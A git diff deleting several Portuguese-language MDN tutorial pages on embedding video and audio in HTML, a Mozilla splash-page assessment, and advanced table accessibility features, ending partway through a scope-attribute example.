diff --git a/files/pt-pt/learn/html/multimedia_and_embedding/index.html b/files/pt-pt/learn/html/multimedia_and_embedding/index.html deleted file mode 100644 index a20b442e8e..0000000000 --- a/files/pt-pt/learn/html/multimedia_and_embedding/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Multimédia e integração -slug: Learn/HTML/Multimedia_and_embedding -tags: - - Aprender - - Audio - - Avaliação - - CodingScripting - - Flash - - Guía - - HTML - - Imagens - - Landing - - Principiante - - Responsivo - - SVG - - Video - - iframes - - mapas de imagem -translation_of: Learn/HTML/Multimedia_and_embedding -original_slug: Learn/HTML/Multimedia_e_integracao ---- -

{{LearnSidebar}}

- -

Nós já vimos muito texto até agora neste curso, mas a Web seria realmente chata se se utilizasse apenas texto. Vamos começar a ver como dar vida à Web, com conteúdo mais interessante! Este módulo explora como utilizar HTML para incluir multimédia nas suas páginas da Web, incluindo os modos diferentes em que as imagens podem ser incluídas, e como incorporar vídeo, áudio e até páginas da Web completas.

- -

Pré-requisitos

- -

Antes de iniciar este módulo, deverá ter um conhecimento razoável dos conceitos básicos de HTML, como anteriormente abordado em Introdução ao HTML. Se ainda não leu este módulo (ou qualquer coisa similar), leia-o primeiro, e depois volte aqui!

- -
-

Nota: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin or Thimble.

-
- -

Guias

- -

This module contains the following articles, which will take you through all the fundamentals of embedding multimedia on webpages.

- -
-
Imagens em HTML
-
There are other types of multimedia to consider, but it is logical to start with the humble {{htmlelement("img")}} element, used to embed a simple image in a webpage. In this article we'll look at how to use it in more depth, including basics, annotating it with captions using {{htmlelement("figure")}}, and how it relates to CSS background images.
-
Conteúdo de vídeo e de áudio
-
Next, we'll look at how to use the HTML5 {{htmlelement("video")}} and {{htmlelement("audio")}} elements, to embed video and audio on our pages; including basics, providing access to different file formats to different browsers, adding captions and subtitles, and how to add fallbacks for older browsers.
-
De <object> para <iframe> — outras tecnologias de integração
-
At this point we'd like to take somewhat of a sideways step, looking at a couple of elements that allow you to embed a wide variety of content types into your webpages: the {{htmlelement("iframe")}}, {{htmlelement("embed")}} and {{htmlelement("object")}} elements. <iframe>s are for embedding other web pages, and the other two allow you to embed PDFs, SVG, and even Flash — a technology on its way out, but which you may still see semi-regularly.
-
Adicionar gráficos de vetor à Web
-
Vector graphics can be very useful in certain situations. Unlike regular formats like PNG/JPG, they don't distort/pixelate when zoomed in — they can remain smooth when scaled. This article introduces you to what vector graphics are, and how to include the popular {{glossary("SVG")}} format in web pages.
-
Imagens responsivas
-
With so many different device types now able to browse the Web — from mobile phones to desktop computers — an essential concept to master in the modern web world is responsive design. This refers to the creation of webpages that can automatically change their features to suit different screen sizes, resolutions, etc. This will be looked at in much more detail in a CSS module later on, but for now we'll look at the tools HTML has available to create responsive images, including the {{htmlelement("picture")}} element.
-
- -

Avaliações

- -

The following assessments will test your understanding of the HTML basics covered in the guides above:

- -
-
Página de boas-vindas da Mozilla
-
In this assessment, we'll test your knowledge of some of the techniques discussed in this module's articles, getting you to add some images and video to a funky splash page all about Mozilla!
-
- -

Consulte também

- -
-
Adicionar um mapa clicável no topo de uma imagem
-
Image maps provide a mechanism to make different parts of an image link to different places (think of a map, linking through to further information about each different country you click on.) This technique can sometimes be useful.
-
Literacia da Web - básicos 2
-
-

An excellent Mozilla foundation course that explores and tests some of the skills talked about in the Multimedia and embedding module. Dive deeper into the basics of composing webpages, designing for accessibility, sharing resources, using online media, and working open (meaning that your content is freely available, and shareable by others).

-
-
diff --git a/files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html deleted file mode 100644 index f27e24d8c8..0000000000 --- a/files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: 'Avaliação: Página inicial da Mozilla' -slug: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page -tags: - - Avaliação - - HTML - - Imagens - - Incorporação - - Multimedia - - Principiante - - Responsivo - - Video - - iframe - - imagem - - tamanhos -translation_of: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page -original_slug: Learn/HTML/Multimedia_and_embedding/Pagina_de_boas_vindas_da_Mozilla ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}
- -

Nesta parte, testaremos seu conhecimento de algumas técnicas discutidas nos artigos deste módulo, pedindo que você adicione imagens e vídeos a uma grande página inteiramente dedicada ao Mozilla!

- - - - - - - - - - - - -
Pré-requisitos:Antes de abordar este estudo, você já deve ter trabalhado nos parágrafos anteriores do módulo Multimídia e Integração.
Objetivo:Testar seus conhecimentos sobre a integração de imagens e vídeos em páginas da Web, bem como técnicas de imagens adaptativas (imagens "responsivas").
- -

Ponto de partida

- -

Para iniciar este estudo, você precisa buscar todas as imagens e HTML disponíveis no diretório mdn-splash-page-start no github. Coloque o conteúdo do arquivo index.htmlem um arquivo chamado index.htmlem seu disco rígido local, em um novo diretório. Em seguida, copie pattern.png na mesma pasta (clique com o botão direito sobre a imagem para obter a opção de salvá-la).

- -

Vá para o diretório original para  procurar por imagens diferentes e fazer a mesma coisa. Talvez seja necessário salvá-las em uma nova pasta por enquanto, caso você precise manipular algumas delas usando um editor gráfico antes de usá-las.

- -
-

Note: O arquivo HTML de exemplo contém bastante CSS para estilizar a página. Você não precisa alterar o CSS, apenas o HTML no elemento <body> - contanto que você insira as tags corretas, o estilo corresponderá à essas alterações.

-
- -

Sumário do projeto

- -

Nesta parte, apresentamos uma home page quase acabada da Mozilla, que visa dizer algo interessante sobre o que a Mozilla representa e fornecer alguns links para outros recursos. Infelizmente, nenhuma imagem ou vídeo foi adicionado ainda - este é o seu trabalho! Você precisa adicionar algumas mídias para tornar a página mais bonita e fazer mais sentido. As subseções a seguir detalham o que você precisa fazer:

- -

Preparando as imagens

- -

Usando seu editor de imagem favorito, crie versões com 400px de largura por 120px de largura de:

- -
    -
  • firefox_logo-only_RGB.png
  • -
  • firefox-addons.jpg
  • -
  • mozilla-dinosaur-head.png
  • -
- -

Dê a eles nomes semelhantes como:  firefoxlogo400.png e firefoxlogo120.png.

- -

Juntamente com o mdn.svg, essas imagens serão seus ícones para vincular a outros recursos, dentro da área further-info. Você também vinculará o logotipo do Firefox no cabeçalho do site. Salve cópias de todos estes arquivos dentro do mesmo diretório de index.html.

- -

Em seguida, crie uma versão com 1200px de largura, no modo paisagem, de red-panda.jpg, e outra, com 600px de largura, no modo retrato, que mostre o panda em close-up. Mais uma vez, nomeie-os de forma semelhante para identificá-los facilmente. Salve todas essas cópias na mesma pasta que o index.html.

- -
-

Nota: Você deve otimizar suas imagens em JPG e PNG para torná-las o menor possível e, ao mesmo tempo, de boa qualidade. O tinypng.com é uma boa ajuda para fazer isso facilmente.

-
- -

Adicionando um logotipo ao cabeçalho

- -

Dentro do elemento <header>, adicione um elemento <img> que incluirá uma versão pequena do logotipo do Firefox no cabeçalho.

- -

Adicionando um vídeo ao conteúdo do artigo principal

- -

No item <article>  (logo abaixo da tag de abertura), incorpore o vídeo do YouTube encontrado aqui: https://www.youtube.com/watch?v=ojcNcvb1olg, usando as ferramentas apropriadas do YouTube para gerar o código. O vídeo terá que ter 400px de largura.

- - - -

No elemento <div>, na classe further-info você encontrará quatro outros elementos <a> - cada um deles vinculado a uma página interessante relacionada ao Mozilla. Para concluir esta seção, você irá inserir um elemento <img> contendo os atributos srcaltsrcset e sizes de forma apropriada.

- -

 

- -

Queremos que cada imagem (exceto quando a mesma for responsiva) use uma imagem de 120px quando a largura da janela de visualização do navegador for menor ou igual a 480px e, em outros casos, escolha uma versão de 400px.

- -

Verifique se o link correto corresponde à imagem correta!

- -

 

- -
-

Nota: Para testar adequadamente os exemplos srcset/sizes, você deve fazer o upload do seu site em um servidor (use as páginas Github, é uma solução simples e livre), e então você poderá testar, se tudo correr corretamente, usando as ferramentas de desenvolvimento, como explicado em Imagens Responsivas: ferramentas úteis para desenvolvedores.

-
- -

Um panda vermelho criativo

- -

No elemento <div> da classe red-panda, queremos inserir um elemento <picture> que exiba o o modo retrato do panda se o quadro tiver 600px de largura, ou menos, e o modo paisagem do panda em outros casos.

- -

Exemplo

- -

A captura de tela a seguir mostra como a página inicial deve ficar depois de marcada corretamente, com uma tela ampla e outra estreita.

- -

A wide shot of our example splash page

- -

A narrow shot of our example splash page

- -

Avaliação

- -

Se você está seguindo este estudo como parte de um programa de curso organizado, você deve poder mostrar seu trabalho ao seu professor/mentor para correção. Se você aprender sozinho, você pode obter informações e correções perguntando no tópico sobre este exercício, ou no canal de IRC #mdn no IRC da MozillaTente fazer o exercício primeiro - você não ganha nada enganando!

- -

{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}

- -
- - - - - -
diff --git a/files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html deleted file mode 100644 index 712a83118c..0000000000 --- a/files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html +++ /dev/null @@ -1,370 +0,0 @@ ---- -title: Conteúdo de áudio e vídeo -slug: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content -tags: - - Artigo - - Audio - - Guía - - HTML - - Principiante - - Video - - faixa - - legendas -translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content -original_slug: Learn/HTML/Multimedia_e_integracao/Conteudo_de_audio_e_vídeo ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}
- -

Now that we are comfortable with adding simple images to a webpage, the next step is to start adding video and audio players to your HTML documents! In this article we'll look at doing just that with the {{htmlelement("video")}} and {{htmlelement("audio")}} elements; we'll then finish off by looking at how to add captions/subtitles to your videos.

- - - - - - - - - - - - -
Pré-requisitos:Basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with HTML fundamentals (as covered in Getting started with HTML) and Images in HTML.
Objetivo:To learn how to embed video and audio content into a webpage, and add captions/subtitles to video.
- -

Áudio e vídeo na Web

- -

Web developers have wanted to use video and audio on the Web for a long time, ever since the early 2000s, when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) In the early days, native web technologies such as HTML didn't have the ability to embed video and audio on the Web, so proprietary (or plugin-based) technologies like Flash (and later, Silverlight) became popular for handling such content. This kind of technology worked ok, but it had a number of problems, including not working well with HTML/CSS features, security issues, and accessibility issues.

- -

A native solution would solve much of this if done right. Fortunately, a few years later the {{glossary("HTML5")}} specification had such features added, with the {{htmlelement("video")}} and {{htmlelement("audio")}} elements, and some shiny new {{Glossary("JavaScript")}} {{Glossary("API","APIs")}} for controlling them. We'll not be looking at JavaScript here — just the basic foundations that can be achieved with HTML.

- -

We won't be teaching you how to produce audio and video files — that requires a completely different skillset. We have provided you with sample audio and video files and example code for your own experimentation, in case you are unable to get hold of your own.

- -
-

Nota: Before you begin here, you should also know that there are a quite a few {{glossary("OVP","OVPs")}} (online video providers) like YouTube, Dailymotion, and Vimeo, and online audio providers like Soundcloud. Such companies offer a convenient, easy way to host and consume videos, so you don't have to worry about the enormous bandwidth consumption. OVPs even usually offer ready-made code for embedding video/audio in your webpages. If you go that route, you can avoid some of the difficulties we discuss in this article. We'll be discussing this kind of service a bit more in the next article.

-
- -

O elemento <video>

- -

The {{htmlelement("video")}} element allows you to embed a video very easily. A really simple example looks like this:

- -
<video src="rabbit320.webm" controls>
-  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.webm">link to the video</a> instead.</p>
-</video>
- -

The features of note are:

- -
-
{{htmlattrxref("src","video")}}
-
In the same way as for the {{htmlelement("img")}} element, the src (source) attribute contains a path to the video you want to embed. It works in exactly the same way.
-
{{htmlattrxref("controls","video")}}
-
Users must be able to control video and audio playback (it's especially critical for people who have epilepsy.) You must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate JavaScript API. At minimum, the interface must include a way to start and stop the media, and to adjust the volume.
-
The paragraph inside the <video> tags
-
This is called fallback content — this will be displayed if the browser accessing the page doesn't support the <video> element, allowing us to provide a fallback for older browsers. This can be anything you like; in this case we've provided a direct link to the video file, so the user can at least access it some way regardless of what browser they are using.
-
- -

The embedded video will look something like this:

- -

A simple video player showing a video of a small white rabbit

- -

You can try the example live here (see also the source code.)

- -

Suporte para múltiplos formatos

- -

There's a problem with the above example, which you may have noticed already if you've tried to access the live link above with a browser like Safari or Internet Explorer. The video won't play! This is because different browsers support different video (and audio) formats.

- -

Let's go through the terminology quickly. Formats like MP3, MP4 and WebM are called container formats. They contain different parts that make up the whole song or video — such as an audio track, a video track (in the case of video), and metadata to describe the media being presented.

- -

The audio and video tracks are also in different formats, for example:

- -
    -
  • A WebM container usually packages Ogg Vorbis audio with VP8/VP9 video. This is supported mainly in Firefox and Chrome.
  • -
  • An MP4 container often packages AAC or MP3 audio with H.264 video. This is supported mainly in Internet Explorer and Safari.
  • -
  • The older Ogg container tends to go with Ogg Vorbis audio and Ogg Theora video. This was supported mainly in Firefox and Chrome, but has basically been superceded by the better quality WebM format.
  • -
- -

An audio player will tend to play an audio track directly, e.g. an MP3 or Ogg file. These don't need containers.

- -
-

Nota: It is not quite that simple, as you can see from our audio-video codec compatibility table. In addition, many mobile platform browsers can play an unsupported format by handing it off to the underlying system's media player to play. But this will do for now.

-
- -

The above formats exist to compress video and audio into manageable files (raw video and audio is very large). Browsers contain different {{Glossary("Codec","Codecs")}}, like Vorbis or H.264, which are used to convert the compressed sound and video into binary digits and back. As indicated above, browsers unfortunately don't all support the same codecs, so you will have to provide several files for each media production. If you're missing the right codec to decode the media, it just won't play.

- -
-

Nota: You might be wondering why this situation exists. MP3 (for audio) and MP4/H.264 (for video) are both widely supported, and good quality. However, they are also patent encumbered — American patents cover MP3 until at least 2017, and H.264 until 2027 at the earliest, meaning that browsers that don't hold the patent have to pay huge sums of money to support these formats. In addition, many people avoid restricted software on principle, in favour of open formats. This is why we have to provide multiple formats for different browsers.

-
- -

So how do we do this? Take a look at the following updated example (try it live here, also):

- -
<video controls>
-  <source src="rabbit320.mp4" type="video/mp4">
-  <source src="rabbit320.webm" type="video/webm">
-  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
-</video>
- -

Here we've taken the src attribute out of the actual <video> tag, and instead included separate {{htmlelement("source")}} elements that point to their own sources. In this case the browser will go through the <source> elements and play the first one that it has the codec to support. Including WebM and MP4 sources should be enough to play your video on most platforms and browsers these days.

- -

Each <source> element also has a type attribute. This is optional, but it is advised that you include them — they contain the {{glossary("MIME type","MIME types")}} of the video files, and browsers can read these and immediately skip videos they don't understand. If they are not included, browsers will load and try to play each file until they find one that works, taking even more time and resources.

- -
-

Nota: Our article on supported media formats contains some common {{glossary("MIME type","MIME types")}}.

-
- -

Outras funcionalidades <video>

- -

There are a number of other features you can include on an HTML5 video. Take a look at our third example, below:

- -
<video controls width="400" height="400"
-       autoplay loop muted
-       poster="poster.png">
-  <source src="rabbit320.mp4" type="video/mp4">
-  <source src="rabbit320.webm" type="video/webm">
-  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
-</video>
-
- -

This will give us a output looking something like this:

- -

A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!The new features are:

- -
-
{{htmlattrxref("width","video")}} and {{htmlattrxref("height","video")}}
-
You can control the video size either with these attributes or with {{Glossary("CSS")}}. In both cases, videos maintain their native width-height ratio — known as the aspect ratio. If the aspect ratio is not maintained by the sizes you set, the video will grow to fill the space horizontally, and the unfilled space will just be given a solid background color by default.
-
{{htmlattrxref("autoplay","video")}}
-
This attribute makes the audio or video start playing right away while the rest of the page is loading. You are advised not to use autoplaying video (or audio) on your sites, because users can find it really annoying.
-
{{htmlattrxref("loop","video")}}
-
This attribute makes the video (or audio) start playing again whenever it finishes. This can also be annoying, so only use if really necessary.
-
{{htmlattrxref("muted","video")}}
-
This attribute causes the media to play with the sound turned off by default.
-
{{htmlattrxref("poster","video")}}
-
This attribute takes as its value the URL of an image, which will be displayed before the video is played. It is intended to be used for a splash or advertising screen.
-
{{htmlattrxref("preload","video")}}
-
-

this attribute is used in the element for buffering large files. It can take one of 3 values:

- -
    -
  • "none" does not buffer the file
  • -
  • "auto" buffers the media file
  • -
  • "metadata" buffers only the metadata for the file
  • -
-
-
- -

You can find the above example available to play live on Github (also see the source code.) Note that we haven't included the autoplay attribute in the live version — if the video starts to play as soon as the page loads, you don't get to see the poster!

- -

O elemento <audio>

- -

The {{htmlelement("audio")}} element works in exactly the same way as the {{htmlelement("video")}} element, with a few small differences as outlined below. A typical example might look like so:

- -
<audio controls>
-  <source src="viper.mp3" type="audio/mp3">
-  <source src="viper.ogg" type="audio/ogg">
-  <p>Your browser doesn't support HTML5 audio. Here is a <a href="viper.mp3">link to the audio</a> instead.</p>
-</audio>
- -

This produces something like the following in a browser:

- -

A simple audio player with a play button, timer, volume control, and progress bar

- -
-

Nota: You can run the audio demo live on Github (also see the audio player source code.)

-
- -

This takes up less space than a video player, as there is no visual component — you just need to display controls to play the audio. Other differences from HTML5 video are as follows:

- -
    -
  • The {{htmlelement("audio")}} element doesn't support the width/height attributes — again, there is no visual component, so there is nothing to assign a width or height to.
  • -
  • It also doesn't support the poster attribute — again, no visual component.
  • -
- -

Other than this, <audio> supports all the same features as <video> — review the above sections for more information about them.

- -

Faixas de texto da exibição de vídeo

- -

Now we'll discuss a slightly more advanced concept that is really useful to know about. Many people can't or don't want to hear the audio/video content they find on the Web, at least at certain times. For example:

- -
    -
  • Many people have auditory impairments (more commonly known as hard of hearing, or deaf) so can't hear the audio.
  • -
  • Others may not be able to hear the audio because they are in noisy environments (like a crowded bar when a sports game is being shown) or might not want to disturb others if they are in a quiet place (like a library.)
  • -
  • People who don't speak the language of the video might want a text transcript or even translation to help them understand the media content.
  • -
- -

Wouldn't it be nice to be able to provide these people with a transcript of the words being spoken in the audio/video? Well, thanks to HTML5 video you can, with the WebVTT format and the {{htmlelement("track")}} element.

- -
-

Nota: "Transcribe" and "transcript" mean to write down spoken words as text.

-
- -

WebVTT is a format for writing text files containing multiple strings of text along with metadata such as what time in the video you want each text string to be displayed, and even limited styling/positioning information. These text strings are called cues, and you can display different types for different purposes, the most common being:

- -
-
subtitles
-
Translations of foreign material, for people who don't understand the words spoken in the audio.
-
captions
-
Synchronized transcriptions of dialog or descriptions of significant sounds, to let people who can't hear the audio understand what is going on.
-
timed descriptions
-
Text for conversion into audio, to serve people with visual impairments.
-
- -

A typical WebVTT file will look something like this:

- -
WEBVTT
-
-1
-00:00:22.230 --> 00:00:24.606
-This is the first subtitle.
-
-2
-00:00:30.739 --> 00:00:34.074
-This is the second.
-
-  ...
-
- -

To get this displayed along with the HTML media playback, you need to:

- -
    -
  1. Save it as a .vtt file in a sensible place.
  2. -
  3. Link to the .vtt file with the {{htmlelement("track")}} element. <track> should be placed within <audio> or <video>, but after all <source> elements. Use the {{htmlattrxref("kind","track")}} attribute to specify whether the cues are subtitles, captions, or descriptions. Further, use {{htmlattrxref("srclang","track")}} to tell the browser what language you have written the subtitles in.
  4. -
- -

Here's an example:

- -
<video controls>
-    <source src="example.mp4" type="video/mp4">
-    <source src="example.webm" type="video/webm">
-    <track kind="subtitles" src="subtitles_en.vtt" srclang="en">
-</video>
- -

This will result in a video that has subtitles displayed, kind of like this:

- -

Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

- -

For more details, please read Adding captions and subtitles to HTML5 video. You can find the example that goes along with this article on Github, written by Ian Devlin (see the source code too.) This example uses some JavaScript to allow users to choose between different subtitles. Note that to turn the subtitles on, you need to press the "CC" button and select an option — English, Deutsch, or Español. 

- -
-

Nota: Text tracks also help you with {{glossary("SEO")}}, since search engines especially thrive on text. Text tracks even allow search engines to link directly to a spot partway through the video.

-
- -

Aprendizagem ativa: incorporar o seu próprio áudio e vídeo

- -

For this active learning, we'd (ideally) like you to go out into the world and record some of your own video and audio — most phones these days allow you to record audio and video very easily, and provided you can transfer it on to your computer, you can use it. You may have to do some conversion to end up with a WebM and MP4 in the case of video, and an MP3 and Ogg in the case of audio, but there are enough programs out there to allow you to do this without too much trouble, such as Miro Video Converter and Audacity. We'd like you to have a go!

- -

If you are unable to source any video or audio, then you can feel free to use our sample audio and video files to carry out this exercise. You can also use our sample code for reference.

- -

We would like you to:

- -
    -
  1. Save your audio and video files in a new directory on your computer.
  2. -
  3. Create a new HTML file in the same directory, called index.html.
  4. -
  5. Add <audio> and <video> elements to the page; make them display the default browser controls.
  6. -
  7. Give both of them <source> elements so that browsers will find the audio format they support best and load it. These should include type attributes.
  8. -
  9. Give the <video> element a poster that will be displayed before the video starts to be played. Have fun creating your own poster graphic.
  10. -
- -

For an added bonus, you could try researching text tracks, and work out how to add some captions to your video.

- -

Resumo

- -

And that's a wrap; we hope you had fun playing with video and audio in web pages! In the next article, we'll look at other ways of embedding content on the Web, using technologies like {{htmlelement("iframe")}} and {{htmlelement("object")}}.

- -

Consulte também

- - - -

{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}

- -
-
- -
    -
- -
- - - - - -
diff --git a/files/pt-pt/learn/html/tables/advanced/index.html b/files/pt-pt/learn/html/tables/advanced/index.html deleted file mode 100644 index 5b45800fa0..0000000000 --- a/files/pt-pt/learn/html/tables/advanced/index.html +++ /dev/null @@ -1,539 +0,0 @@ ---- -title: HTML - funcionalidades avançadas de tabela e acessibilidade -slug: Learn/HTML/Tables/Advanced -tags: - - Acessibilidade - - Aprender - - Artigo - - Avançado - - Cabeçalhos - - HTML - - Headers - - Principiante - - Resumo - - caption - - incorporar - - legenda - - tabela -translation_of: Learn/HTML/Tables/Advanced -original_slug: Learn/HTML/Tables/Avancada ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
- -

No segundo artigo neste módulo, nós vamos ver algumas funcionalidades mais avançadas das tabelas HTML tables — tais como legendas/resumos e agrupar as suas filas no cabçalho da taela, secções de corpo e rodapé — bem como, ver a acessibilidade das tabelas para os utilizadores deficientes visuais.

- - - - - - - - - - - - -
Pré-requisitos:The basics of HTML (see Introduction to HTML).
Objetivo:To learn about more advanced HTML table features, and the accessibility of tables.
- -

Adicionar uma legenda à sua tabela com <caption>

- -

You can give your table a caption by putting it inside a {{htmlelement("caption")}} element and nesting that inside the {{htmlelement("table")}} element. You should put it just below the opening <table> tag.

- -
<table>
-  <caption>Dinosaurs in the Jurassic period</caption>
-
-  ...
-</table>
- -

As you can infer from the brief example above, the caption is meant to contain a description of the table contents. This is useful for all readers wishing to get a quick idea of whether the table is useful to them as they scan the page, but particularly for blind users. Rather than have a screenreader read out the contents of many cells just to find out what the table is about, he or she can rely on a caption and then decide whether or not to read the table in greater detail.

- -

A caption is placed directly beneath the <table> tag.

- -
-

Nota: The {{htmlattrxref("summary","table")}} attribute can also be used on the <table> element to provide a description — this is also read out by screenreaders. We'd recommend using the <caption> element instead, however, as summary is {{glossary("deprecated")}} by the HTML5 spec, and can't be read by sighted users (it doesn't appear on the page.)

-
- -

Aprendizagem ativa: Adicionar uma caption

- -

Let's try this out, revisiting an example we first met in the previous article.

- -
    -
  1. Open up your language teacher's school timetable from the end of HTML Table Basics, or make a local copy of our timetable-fixed.html file.
  2. -
  3. Add a suitable caption for the table.
  4. -
  5. Save your code and open it in a browser to see what it looks like.
  6. -
- -
-

Nota: You can find our version on GitHub — see timetable-caption.html (see it live also).

-
- -

Adding structure with <thead>, <tfoot>, and <tbody>

- -

As your tables get a bit more complex in structure, it is useful to give them more structural definition. One clear way to do this is by using {{htmlelement("thead")}}, {{htmlelement("tfoot")}}, and {{htmlelement("tbody")}}, which allow you to mark up a header, footer, and body section for the table.

- -

These elements don't make the table any more accessible to screenreader users, and don't result in any visual enhancement on their own. They are however very useful for styling and layout — acting as useful hooks for adding CSS to your table. To give you some interesting examples, in the case of a long table you could make the table header and footer repeat on every printed page, and you could make the table body display on a single page and have the contents available by scrolling up and down.

- -

To use them:

- -
    -
  • The <thead> element needs to wrap the part of the table that is the header — this will commonly be the first row containing the column headings, but this is not necessarily always the case. if you are using {{htmlelement("col")}}/{{htmlelement("colgroup")}} element, the table header should come just below those.
  • -
  • The <tfoot> element needs to wrap the part of the table that is the footer — this might be a final row with items in the previous rows summed, for example. You can include the table footer right at the bottom of the table as you'd expect, or just below the table header (the browser will still render it at the bottom of the table).
  • -
  • The <tbody> element needs to wrap the other parts of the table content that aren't in the table header or footer. It will appear below the table header or sometimes footer, depending on how you decided to structure it (see the notes above).
  • -
- -
-

Note: <tbody> is always included in every table, implicitly if you don't specify it in your code. To check this, open up one of your previous examples that doesn't include <tbody> and look at the HTML code in your browser developer tools — you will see that the browser has added this tag for you. You might wonder why you ought to bother including it at all — you should, because it gives you more control over your table structure and styling.

-
- -

Aprendizagem ativa: Adicionar uma estrutura de tabela

- -

Let's put these new elements into action.

- -
    -
  1. First of all, make a local copy of spending-record.html and minimal-table.css in a new folder.
  2. -
  3. Try opening it in a browser — You'll see that it looks OK, but it could stand to be improved. The "SUM" row that contains a summation of the spent amounts seems to be in the wrong place, and there are some details missing from the code.
  4. -
  5. Put the obvious headers row inside a <thead> element, the "SUM" row inside a <tfoot> element, and the rest of the content inside a <tbody> element.
  6. -
  7. Save and refresh, and you'll see that adding the <tfoot> element has caused the "SUM" row to go down to the bottom of the table.
  8. -
  9. Next, add a {{htmlattrxref("colspan","td")}} attribute to make the "SUM" cell span across the first four columns, so the actual number appears at the bottom of the "Cost" column.
  10. -
  11. Let's add some simple extra styling to the table, to give you an idea of how useful these elements are for applying CSS. Inside the head of your HTML document, you'll see an empty {{htmlelement("style")}} element. Inside this element, add the following lines of CSS code: -
    tbody {
    -  font-size: 90%;
    -  font-style: italic;
    -}
    -
    -tfoot {
    -  font-weight: bold;
    -}
    -
    -
  12. -
  13. Save and refresh, and have a look at the result. If the <tbody> and <tfoot> elements weren't in place, you'd have to write much more complicated selectors/rules to apply the same styling.
  14. -
- -
-

Nota: We don't expect you to fully understand the CSS right now. You'll learn more about this when you go through our CSS modules (Introduction to CSS is a good place to start; we also have an article specifically on styling tables).

-
- -

Your finished table should look something like the following:

- - - -

{{ EmbedLiveSample('Hidden_example', '100%', 300) }}

- -
-

Nota: You can also find it on Github as spending-record-finished.html (see it live also).

-
- -

Incorporar Tabelas

- -

It is possible to nest a table inside another one, as long as you include the complete structure, including the <table> element. This is generally not really advised, as it makes the markup more confusing and less accessible to screenreader users, and in many cases you might as well just insert extra cells/rows/columns into the existing table. It is however sometimes necessary, for example if you want to import content easily from other sources.

- -

The following markup shows a simple nested table:

- -
<table id="table1">
-  <tr>
-    <th>title1</th>
-    <th>title2</th>
-    <th>title3</th>
-  </tr>
-  <tr>
-    <td id="nested">
-      <table id="table2">
-        <tr>
-          <td>cell1</td>
-          <td>cell2</td>
-          <td>cell3</td>
-        </tr>
-      </table>
-    </td>
-    <td>cell2</td>
-    <td>cell3</td>
-  </tr>
-  <tr>
-    <td>cell4</td>
-    <td>cell5</td>
-    <td>cell6</td>
-  </tr>
-</table>
- -

The output of which looks something like this:

- - - - - - - - - - - - - - - - - - - -
title1title2title3
- - - - - - - - -
cell1cell2cell3
-
cell2cell3
cell4cell5cell6
- -

Tabelas para utilizadores deficientes visuais

- -

Let's recap briefly on how we use data tables. A table can be a handy tool, for giving us quick access to data and allowing us to look up different values. For example, It takes only a short glance at the table below to find out how many rings were sold in Gent last August. To understand its information we make visual associations between the data in this table and its column and/or row headers.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Items Sold August 2016
  ClothesAccessories
  TrousersSkirtsDressesBraceletsRings
BelgiumAntwerp5622437223
Gent4618506115
Brussels5127386928
The NetherlandsAmsterdam8934698538
Utrecht8012433619
- -

But what if you cannot make those visual associations? How then can you read a table like the above? Visually impaired people often use a screenreader that reads out information on web pages to them. This is no problem when you're reading plain text but interpreting a table can be quite a challenge for a blind person. Nevertheless, with the proper markup we can replace visual associations by programmatic ones.

- -

This section of the article provides further techniques for making tables as accessible as possible.

- -

Utilizar os cabeçalhos de coluna e linha

- -

Screenreaders will identify all headers and use them to make programmatic associations between those headers and the cells they relate to. The combination of column and row headers will identify and interpret the data in each cell so that screenreader user can interpret the table similarly to how a sighted user does.

- -

We already covered headers in our previous article — see Adding headers with <th> elements.

- -

O atributo de scope

- -

A new topic for this article is the {{htmlattrxref("scope","th")}} attribute, which can be added to the <th> element to tell screenreaders exactly what cells the header is a header for — is it a header for the row it is in, or the column, for example? Looking back to our spending record example from earlier on, you could unambiguously define the column headers as column headers like this:

- -
<thead>
-  <tr>
-    <th scope="col">Purchase</th>
-    <th scope="col">Location</th>
-    <th scope="col">Date</th>
-    <th scope="col">Evaluation</th>
-    <th scope="col">Cost (€)</th>
-  </tr>
-</thead>
- -

And each row could have a header defined like this (if we added row headers as well as column headers):

- -
<tr>
-  <th scope="row">Haircut</th>
-  <td>Hairdresser</td>
-  <td>12/09</td>
-  <td>Great idea</td>
-  <td>30</td>
